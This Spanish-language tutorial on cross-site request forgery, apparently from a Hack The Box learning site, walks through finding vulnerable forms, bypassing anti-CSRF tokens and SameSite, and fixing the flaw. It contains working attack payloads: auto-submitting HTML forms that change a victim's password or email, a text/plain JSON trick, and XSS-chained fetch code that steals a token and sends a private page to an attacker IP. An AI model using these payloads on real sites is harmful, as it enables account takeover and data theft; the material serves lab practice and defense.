CSRF: qué es, cómo detectarlo y cómo explotarlo paso a paso

Qué es un ataque CSRF con un ejemplo real: detectar un formulario vulnerable, crear la prueba de concepto en HTML, saltarse tokens y SameSite y combinarlo con XSS.

· 6 min de lectura

Un CSRF (Cross-Site Request Forgery) consiste en hacer que el navegador de otra persona, que ya tiene la sesión iniciada en una web, envíe una petición que tú has preparado: cambiar su contraseña, su correo o crear un usuario administrador. La víctima solo tiene que abrir un enlace tuyo. No robas su sesión: la usas sin verla.

Funciona porque el navegador añade las cookies de un sitio a cualquier petición hacia ese sitio, venga de donde venga. Si la web no comprueba que la petición la ha originado ella misma, no distingue entre un clic del usuario y un formulario escondido en tu página.

Las tres condiciones

Para que una acción sea vulnerable a CSRF tienen que cumplirse las tres:

  1. Una acción que merezca la pena: cambiar la contraseña o el correo, dar permisos, hacer una transferencia.
  2. La sesión va solo en una cookie. Si la web usa una cabecera Authorization: Bearer ... que pone el JavaScript, tu página no puede añadirla y no hay CSRF.
  3. Ningún parámetro que no puedas adivinar: ni token anti-CSRF, ni la contraseña actual.

Cómo es en un CTF

En un pentest real la víctima es una persona; en Hack The Box es un bot: un navegador automático con sesión de administrador que abre los enlaces que le mandas por un formulario de contacto, un ticket o un mensaje. La pista suele ser un texto como "el administrador revisará tu mensaje".

El ejemplo de libro es SecNotes: un formulario de contacto que lee el usuario tyler y una página de cambio de contraseña sin token y sin pedir la contraseña actual.

Paso 1: busca la acción y captúrala

Con Burp Suite (la versión Community basta) como proxy, haz tú la acción con tu propio usuario y mira la petición. Por ejemplo:

POST /change_pass.php HTTP/1.1
Host: 10.10.10.97
Cookie: PHPSESSID=8u3m1h0e...
Content-Type: application/x-www-form-urlencoded

password=Nueva123!&confirm_password=Nueva123!&submit=submit

No hay nada que tú no sepas: solo la cookie, que pondrá el navegador de la víctima.

Paso 2: comprueba las defensas

Envía la petición a Repeater y prueba, una a una:

Prueba Si funciona...
Quitar el parámetro del token entero La web solo lo valida si existe
Dejarlo vacío o cambiar un carácter No lo valida
Usar el token de otra sesión tuya No está ligado a la sesión
Cambiar POST por GET con los parámetros en la URL Puedes atacar con un simple enlace (y saltarte SameSite=Lax)
Cambiar el Content-Type a text/plain Sirve para CSRF contra APIs JSON
Quitar la cabecera Referer La comprobación del origen es opcional

En SecNotes funciona la cuarta: la página acepta los mismos parámetros por GET.

Paso 3: la prueba de concepto

Si vale con GET, el ataque es un enlace:

http://10.10.10.97/change_pass.php?password=Pwned123!&confirm_password=Pwned123!&submit=submit

Si tiene que ser POST, monta una página con un formulario que se envía solo. Guárdala como index.html:

<html>
  <body>
    <form action="http://10.10.10.97/change_pass.php" method="POST">
      <input type="hidden" name="password" value="Pwned123!">
      <input type="hidden" name="confirm_password" value="Pwned123!">
      <input type="hidden" name="submit" value="submit">
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

Sírvela desde tu equipo y manda el enlace a la víctima (en HTB, al bot):

sudo python3 -m http.server 80
10.10.10.97 - - [03/Nov/2026 21:40:12] "GET / HTTP/1.1" 200 -

Esa línea en tu servidor es la señal de que el bot ha abierto tu página. Unos segundos después, prueba a entrar con su usuario y la contraseña nueva.

Truco

En Burp Suite Professional, clic derecho sobre la petición, Engagement tools y Generate CSRF PoC te escribe el formulario. Con la versión Community, la plantilla de arriba sirve para cualquier formulario: añade un input por parámetro.

Contra una API JSON

Un formulario HTML no puede enviar application/json, pero muchas API aceptan el JSON aunque llegue como text/plain. El truco es meter el JSON en el nombre del campo:

<form action="http://objetivo.htb/api/email" method="POST" enctype="text/plain">
  <input type="hidden" name='{"email":"[email protected]","x":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>

El navegador envía {"email":"[email protected]","x":"="}, que es JSON válido. Si la API exige de verdad Content-Type: application/json, este truco no sirve y necesitas un XSS.

SameSite: por qué a veces no funciona

Los navegadores modernos limitan cuándo se envían las cookies desde otro sitio con el atributo SameSite:

Valor ¿Se envía la cookie desde tu página?
None (con Secure) Siempre: CSRF clásico
Lax Solo en navegaciones de nivel superior con GET (un enlace, window.location). Un formulario POST no lleva la cookie
Strict Nunca

Chrome y Edge tratan como Lax las cookies que no indican nada. Por eso hoy la prueba de "cambiar POST por GET" es tan importante: con Lax, una acción que se pueda hacer por GET sigue siendo vulnerable. En HTB muchas máquinas usan HTTP sin Secure y bots configurados para que el ataque funcione, pero en un pentest real revisa siempre las cabeceras Set-Cookie.

CSRF + XSS: cuando hay token

Si encuentras un XSS en la misma web, el token deja de ser un problema: tu JavaScript se ejecuta dentro del sitio, puede leer la página, sacar el token y enviar la petición con él. Es lo que pasa en Cat, Trickster y DarkCorp.

fetch('/settings')
  .then(r => r.text())
  .then(html => {
    const token = html.match(/name="csrf_token" value="([^"]+)"/)[1];
    return fetch('/settings', {
      method: 'POST',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body: 'email=yo%40atacante.htb&csrf_token=' + token
    });
  });

Ajusta la expresión regular al nombre real del campo (míralo en el código de la página). La misma idea sirve para leer páginas que solo ve la víctima y mandártelas, como hace Cat con un repositorio privado de Gitea:

fetch('/administrator/repo-privado/raw/branch/main/README.md')
  .then(r => r.text())
  .then(d => fetch('http://10.10.14.5/?d=' + encodeURIComponent(d)));

Cómo se arregla

Para el informe (o para tu propia aplicación):

  • Un token anti-CSRF aleatorio por sesión, ligado a ella y comprobado en el servidor en todas las peticiones que cambian algo.
  • Cookies de sesión con SameSite=Lax o Strict.
  • Nunca cambiar estado con GET.
  • Pedir la contraseña actual para cambiar la contraseña o el correo.
  • Comprobar las cabeceras Origin o Sec-Fetch-Site como defensa adicional.

Errores típicos

  • El bot nunca visita tu página: revisa que tu IP sea la de la VPN (ip a show tun0) y que el puerto esté libre. Algunos bots solo abren enlaces de su propio dominio: entonces necesitas un XSS o un CSRF por GET.
  • La petición llega pero no cambia nada: falta un parámetro (por ejemplo el botón submit) o el Content-Type no es el esperado. Compara byte a byte con la petición de Burp.
  • Funciona cuando lo pruebas tú, pero no con el bot: el bot puede abrir la web con otro nombre (localhost o un dominio .htb) y su cookie solo vale para ese nombre. Mira el Referer de su visita en tu servidor y usa en el formulario la misma URL que usa él.

Y después

Marca el CSRF en la checklist web y sigue la ruta Pentesting web. Las guías de XSS y de IDOR y mass assignment cubren los fallos con los que más se combina.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

CSRF 4 máquinas

¿Ves un error o echas algo en falta? Cuéntanoslo